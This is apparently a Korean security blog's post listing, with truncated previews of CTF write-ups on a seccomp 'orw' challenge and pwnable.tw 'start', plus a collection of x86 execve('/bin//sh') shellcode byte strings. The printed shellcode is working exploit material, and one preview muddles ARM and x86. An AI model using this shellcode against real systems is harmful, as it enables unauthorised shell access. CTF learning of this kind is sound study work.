목록전체 글 (66)
ghkdtlwns987
main 함수를 보면 orw_seccomp 라는 함수가 있고, read() 함수로 값을 입력받는다. 보호기법으로는 NX-bit 가 비활성화 되어 있는 것으로 보아, 쉘 코드를 넣어주면 될 거 같다. 그렇다면 orw_seccomp() 함수가 뭔지 확인해보자. 여기서 적당히 prctl() 함수가 있다. prctl() 함수는 리눅스 내부에서 프로세스를 관리할때 사용하는 함수인데 sys/prctl.h 에 선언되어 있다. 이 함수에 대해 깊게 알 필요는 없고, seccomp filter 을 사용할 때 사용하는 함수이고, prctl 의 인자에 어떤 값이 들어가느냐에 따라 그 용도는 달라진다는 것만 알고 있으면 된다. 그렇다면 seccomp filter 에 대해 알아보자. seccomp filter 은 strict ..
pwnable.tw start 문제이다. 보호기법 모두 disabled 라 만만히 봤다. 그냥 ret 에 쉘 코드를 쓰려 했더니 뭔가 이상했다. gdb로 main 함수를 확인해 봤는데, main 함수가 없었다. 첫 문제부터 main 함수가 없어, 결국 ida 로 봤더니 다음과 같이 나왔다. start 와 exit 함수밖에 없었다. 다음은 start 함수이다. 어셈블리로 된 값을 보니, syscall 을 사용하는 거 같다. 그리고, main() 함수가 없는 것으로 보니, 아마 ARM architecture 을 사용하는 것으로 보인다. 정리하자면, 32bit Linux OS 를 사용하고, ARM 을 사용했으므로 x86 Arm syscall table 을 보면 syscall 3, 4 가 뭔지 알 수 있을 것이..
0x01. 가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 bytes : 25 미포함 : setreuid(), exit() 0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 bytes : 31 미포함 : setreuid() 0x03. setreuid(geteuid(), getreuid()) 까지 포함..